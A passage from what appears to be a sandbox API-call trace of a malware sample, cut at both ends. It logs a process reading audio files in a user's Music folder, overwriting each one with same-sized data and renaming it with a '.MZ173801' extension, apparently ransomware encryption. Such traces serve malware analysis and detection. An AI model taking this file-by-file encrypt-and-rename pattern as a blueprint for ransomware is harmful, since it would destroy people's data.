dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.374] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0123.374] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.374] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x10368 [0123.374] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.374] ReadFile (in: hFile=0x28c, lpBuffer=0x714510, nNumberOfBytesToRead=0x10368, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x10368, lpOverlapped=0x0) returned 1 [0123.375] CloseHandle (hObject=0x28c) returned 1 [0123.377] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\mba3_PfLGaGnRS6z.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\mba3_pflgagnrs6z.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.378] WriteFile (in: hFile=0x28c, lpBuffer=0x726540*, nNumberOfBytesToWrite=0x10368, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x726540*, lpNumberOfBytesWritten=0x18f6d0*=0x10368, lpOverlapped=0x0) returned 1 [0123.380] CloseHandle (hObject=0x28c) returned 1 [0123.381] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\mba3_PfLGaGnRS6z.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\mba3_pflgagnrs6z.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\mba3_PfLGaGnRS6z.mp3.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\mba3_pflgagnrs6z.mp3.mz173801")) returned 1 [0123.385] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\pEWKKAp91k2PY.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\pewkkap91k2py.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.385] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0123.385] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.385] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x613e [0123.385] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.385] ReadFile (in: hFile=0x28c, lpBuffer=0x714510, nNumberOfBytesToRead=0x613e, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x613e, lpOverlapped=0x0) returned 1 [0123.387] CloseHandle (hObject=0x28c) returned 1 [0123.387] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\pEWKKAp91k2PY.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\pewkkap91k2py.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.389] WriteFile (in: hFile=0x28c, lpBuffer=0x71c540*, nNumberOfBytesToWrite=0x613e, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x71c540*, lpNumberOfBytesWritten=0x18f6d0*=0x613e, lpOverlapped=0x0) returned 1 [0123.390] CloseHandle (hObject=0x28c) returned 1 [0123.401] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\pEWKKAp91k2PY.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\pewkkap91k2py.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\pEWKKAp91k2PY.m4a.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\pewkkap91k2py.m4a.mz173801")) returned 1 [0123.405] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\TWtjEhg0z4y4-.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\twtjehg0z4y4-.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.405] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0123.405] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.405] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x1491d [0123.405] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.406] ReadFile (in: hFile=0x28c, lpBuffer=0x714510, nNumberOfBytesToRead=0x1491d, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x1491d, lpOverlapped=0x0) returned 1 [0123.407] CloseHandle (hObject=0x28c) returned 1 [0123.408] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\TWtjEhg0z4y4-.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\twtjehg0z4y4-.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.410] WriteFile (in: hFile=0x28c, lpBuffer=0x72a540*, nNumberOfBytesToWrite=0x1491d, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x72a540*, lpNumberOfBytesWritten=0x18f6d0*=0x1491d, lpOverlapped=0x0) returned 1 [0123.412] CloseHandle (hObject=0x28c) returned 1 [0123.417] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\TWtjEhg0z4y4-.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\twtjehg0z4y4-.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\TWtjEhg0z4y4-.mp3.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\twtjehg0z4y4-.mp3.mz173801")) returned 1 [0123.422] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\BL1Acqyb3MhQX.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\bl1acqyb3mhqx.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0123.422] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0123.422] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.422] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x1cea [0123.422] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.422] ReadFile (in: hFile=0x290, lpBuffer=0x714510, nNumberOfBytesToRead=0x1cea, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x1cea, lpOverlapped=0x0) returned 1 [0123.424] CloseHandle (hObject=0x290) returned 1 [0123.424] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\BL1Acqyb3MhQX.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\bl1acqyb3mhqx.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0123.425] WriteFile (in: hFile=0x290, lpBuffer=0x716540*, nNumberOfBytesToWrite=0x1cea, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x716540*, lpNumberOfBytesWritten=0x18f404*=0x1cea, lpOverlapped=0x0) returned 1 [0123.427] CloseHandle (hObject=0x290) returned 1 [0123.428] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\BL1Acqyb3MhQX.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\bl1acqyb3mhqx.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\BL1Acqyb3MhQX.mp3.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\bl1acqyb3mhqx.mp3.mz173801")) returned 1 [0123.433] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\BP7o.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\bp7o.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0123.433] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0123.433] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.433] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x171fa [0123.433] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.433] ReadFile (in: hFile=0x290, lpBuffer=0x714510, nNumberOfBytesToRead=0x171fa, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x171fa, lpOverlapped=0x0) returned 1 [0123.435] CloseHandle (hObject=0x290) returned 1 [0123.437] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\BP7o.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\bp7o.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0123.438] WriteFile (in: hFile=0x290, lpBuffer=0x72c540*, nNumberOfBytesToWrite=0x171fa, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x72c540*, lpNumberOfBytesWritten=0x18f404*=0x171fa, lpOverlapped=0x0) returned 1 [0123.441] CloseHandle (hObject=0x290) returned 1 [0123.448] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\BP7o.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\bp7o.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\BP7o.mp3.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\bp7o.mp3.mz173801")) returned 1 [0123.452] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\fQ4P WlGBWd8d6YO7_.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\fq4p wlgbwd8d6yo7_.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0123.452] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0123.453] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.453] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x100ee [0123.453] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.453] ReadFile (in: hFile=0x290, lpBuffer=0x714510, nNumberOfBytesToRead=0x100ee, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x100ee, lpOverlapped=0x0) returned 1 [0123.454] CloseHandle (hObject=0x290) returned 1 [0123.456] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\fQ4P WlGBWd8d6YO7_.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\fq4p wlgbwd8d6yo7_.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0123.457] WriteFile (in: hFile=0x290, lpBuffer=0x726540*, nNumberOfBytesToWrite=0x100ee, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x726540*, lpNumberOfBytesWritten=0x18f404*=0x100ee, lpOverlapped=0x0) returned 1 [0123.460] CloseHandle (hObject=0x290) returned 1 [0123.467] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\fQ4P WlGBWd8d6YO7_.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\fq4p wlgbwd8d6yo7_.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\fQ4P WlGBWd8d6YO7_.mp3.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\fq4p wlgbwd8d6yo7_.mp3.mz173801")) returned 1 [0123.472] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\IiQkGtJ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\iiqkgtj.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0123.473] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0123.473] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.473] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x13e73 [0123.473] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.473] ReadFile (in: hFile=0x290, lpBuffer=0x714510, nNumberOfBytesToRead=0x13e73, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x13e73, lpOverlapped=0x0) returned 1 [0123.475] CloseHandle (hObject=0x290) returned 1 [0123.477] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\IiQkGtJ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\iiqkgtj.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0123.478] WriteFile (in: hFile=0x290, lpBuffer=0x728540*, nNumberOfBytesToWrite=0x13e73, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x728540*, lpNumberOfBytesWritten=0x18f404*=0x13e73, lpOverlapped=0x0) returned 1 [0123.481] CloseHandle (hObject=0x290) returned 1 [0123.489] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\IiQkGtJ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\iiqkgtj.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\IiQkGtJ.m4a.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\iiqkgtj.m4a.mz173801")) returned 1 [0123.495] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\jQYC0OiVYQ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\jqyc0oivyq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0123.495] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0123.495] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.495] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x8417 [0123.495] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.495] ReadFile (in: hFile=0x290, lpBuffer=0x714510, nNumberOfBytesToRead=0x8417, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x8417, lpOverlapped=0x0) returned 1 [0123.496] CloseHandle (hObject=0x290) returned 1 [0123.497] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\jQYC0OiVYQ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\jqyc0oivyq.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0123.499] WriteFile (in: hFile=0x290, lpBuffer=0x71e540*, nNumberOfBytesToWrite=0x8417, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x71e540*, lpNumberOfBytesWritten=0x18f404*=0x8417, lpOverlapped=0x0) returned 1 [0123.501] CloseHandle (hObject=0x290) returned 1 [0123.506] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\jQYC0OiVYQ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\jqyc0oivyq.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\jQYC0OiVYQ.mp3.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\jqyc0oivyq.mp3.mz173801")) returned 1 [0123.510] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\oYFGfkTBTftouO0aM.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\oyfgfktbtftouo0am.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0123.510] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0123.510] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.511] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x5e06 [0123.511] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.511] ReadFile (in: hFile=0x290, lpBuffer=0x714510, nNumberOfBytesToRead=0x5e06, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x5e06, lpOverlapped=0x0) returned 1 [0123.512] CloseHandle (hObject=0x290) returned 1 [0123.513] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\oYFGfkTBTftouO0aM.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\oyfgfktbtftouo0am.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0123.514] WriteFile (in: hFile=0x290, lpBuffer=0x71a540*, nNumberOfBytesToWrite=0x5e06, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x71a540*, lpNumberOfBytesWritten=0x18f404*=0x5e06, lpOverlapped=0x0) returned 1 [0123.515] CloseHandle (hObject=0x290) returned 1 [0123.517] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\oYFGfkTBTftouO0aM.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\oyfgfktbtftouo0am.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\oYFGfkTBTftouO0aM.mp3.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\oyfgfktbtftouo0am.mp3.mz173801")) returned 1 [0123.522] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DUXhHjPx_fpD\\ogiWVCr\\Tc1e2VKe19oXjZr.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\duxhhjpx_fpd\\ogiwvcr\\tc1e2vke19oxjzr.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0123.523] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0123.523] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.523] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x49ea [0123.523] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.523] ReadFile (in: hFile=0x290, lpBuffer=0x714510, 